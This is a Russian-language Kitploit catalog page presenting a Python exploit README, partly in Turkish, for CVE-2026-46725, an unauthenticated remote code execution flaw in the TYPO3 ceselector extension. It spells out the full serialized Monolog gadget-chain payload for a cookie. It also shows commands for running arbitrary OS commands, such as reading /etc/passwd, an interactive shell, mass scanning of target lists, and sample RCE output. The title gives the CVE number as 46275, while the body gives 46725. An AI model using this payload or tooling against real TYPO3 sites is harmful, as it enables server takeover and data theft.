Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46275 — Эксплойт на Python для CVE-2026-46725, реализующий неавторизованное удаленное выполнение кода в расширении TYPO3 ceselector через внедрение PHP-объекта и цепочку гаджетов Monolog. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-46275
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-46275

CVE-2026-46275

Эксплойт на Python для CVE-2026-46725, реализующий неавторизованное удаленное выполнение кода в расширении TYPO3 ceselector через внедрение PHP-объекта и цепочку гаджетов Monolog.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-46725 — RCE расширения TYPO3 ceselector

Внедрение PHP-объектов через обход cookie unserialize() → Удаленное выполнение кода

CVSS CWE Auth Python License


📋 Содержание

  • Об уязвимости
  • Технические детали
  • Требования
  • Установка
  • Использование
  • Примеры
  • Формат вывода
  • Как это работает
  • Ссылки
  • Юридическое предупреждение

🔍 Об уязвимости

Описание

Расширение TYPO3 ceselector передает значение cookie с именем T3_ceselector_* напрямую в функцию unserialize() без какой-либо проверки. Злоумышленник может разместить в этой cookie специально подготовленный payload PHP Object Injection, чтобы выполнить произвольные команды на сервере.

⚠️ Предварительное условие: Для эксплуатации уязвимости в конфигурации TYPO3 должна быть активирована настройка Persistent Mode: Static.


🔧 Технические детали

Поток атаки

root@kitploit:~
1. GET /  →  Сервер возвращает Set-Cookie: T3_ceselector_<id>=<value>
2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
             └─ Запускается PHP unserialize()
             └─ Выполняется цепочка Monolog Gadget Chain
             └─ Вывод system("id") отражается в ответе

Gadget Chain

root@kitploit:~
Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("<CMD>")  ← RCE

Структура payload

root@kitploit:~
O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS komutu buraya
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}

📦 Требования

  • Python 3.8+
  • Библиотека requests
root@kitploit:~
Python >= 3.8
requests >= 2.28.0

⚙️ Установка

root@kitploit:~
# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# Bağımlılıkları yükle
pip install requests

# veya requirements.txt ile
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

🚀 Использование

root@kitploit:~
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
Hedef:
  -u, --url URL       Tek hedef URL
  -l, --list FILE     Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD       Çalıştırılacak OS komutu (varsayılan: id)
  -i, --interactive   Başarılı exploit sonrası interaktif shell aç

Tarama:
  -t, --threads N     Thread sayısı (varsayılan: 10)
  --timeout S         Timeout saniye (varsayılan: 15)
  --proxy URL         Proxy (örn: http://127.0.0.1:8080)

Çıktı:
  -o, --output FILE   Sonuç dosyası
  -v, --verbose       Ayrıntılı çıktı
  --no-color          Renksiz çıktı

📌 Примеры

Одиночная цель — базовое использование

root@kitploit:~
python CVE-2026-46725.py -u https://typo3-site.com

Выполнение произвольной команды

root@kitploit:~
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"

Интерактивная оболочка

root@kitploit:~
python CVE-2026-46725.py -u https://typo3-site.com --interactive
root@kitploit:~
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit

Массовое сканирование

root@kitploit:~
# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"

С прокси (Burp Suite)

root@kitploit:~
python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v

Формат targets.txt

root@kitploit:~
https://site1.com
https://site2.com
http://site3.com
site4.com

📊 Формат вывода

Вывод в терминал

root@kitploit:~
① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3             ✓ Tespit edildi
· ceselector        ✓ Aktif
· Cookie Adı        T3_ceselector_48291
· TYPO3 Sürüm       12.4.3

② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik            PHP Object Injection → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· Komut             id

④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────

Файл результатов (results.txt)

root@kitploit:~
============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================

[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL        : https://typo3-site.com
Sürüm      : 12.4.3
Cookie     : T3_ceselector_48291
Komut      : id
Çıktı      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 Как это работает

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                    EXPLOIT AKIŞI                        │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  1. TESPIT                                              │
│     GET /  ──────────────────────► TYPO3 Sunucu        │
│             ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│                                                         │
│  2. PAYLOAD HAZIRLAMA                                   │
│     build_payload("id")                                 │
│     └─ Monolog gadget chain URL-encode edilir           │
│                                                         │
│  3. EXPLOIT                                             │
│     GET /                                               │
│     Cookie: T3_ceselector_XXXXX=O:28:"Monolog...        │
│             ──────────────────────► unserialize()       │
│                                    └─ __destruct()      │
│                                    └─ system("id")      │
│             ◄──── uid=33(www-data) gid=33(www-data) ─── │
│                                                         │
│  4. DOĞRULAMA                                           │
│     regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=...      │
│                                                         │
└─────────────────────────────────────────────────────────┘

📚 Ссылки

  • TYPO3 Security Advisory TYPO3-EXT-SA-2026-001
  • Packagist — mmc/ceselector
  • CWE-502: Deserialization of Untrusted Data
  • CVSS 3.1 Calculator

⚖️ Юридическое предупреждение

Данный инструмент предназначен только для обучения и авторизованных тестов безопасности.

  • Используйте только на собственных системах или системах, на которые у вас есть письменное разрешение.
  • Использование против систем без разрешения незаконно и может повлечь юридические последствия.
  • Разработчик не несет ответственности за неправомерное использование данного инструмента.

CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit

Скачать инструмент
ПолеДетали
CVE IDCVE-2026-46725
ПродуктTYPO3 ceselector Extension (mmc/ceselector)
Затронутая версия<= 1.1.3
Тип уязвимостиInsecure Deserialization (PHP Object Injection)
Оценка CVSS9.8 Critical
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialization of Untrusted Data)
Оценка EPSS0.0046 (%64.3 перцентиль)
АутентификацияНе требуется (Unauthenticated)
ВоздействиеFull RCE — полный контроль системы
ИсследовательDhiyaneshDk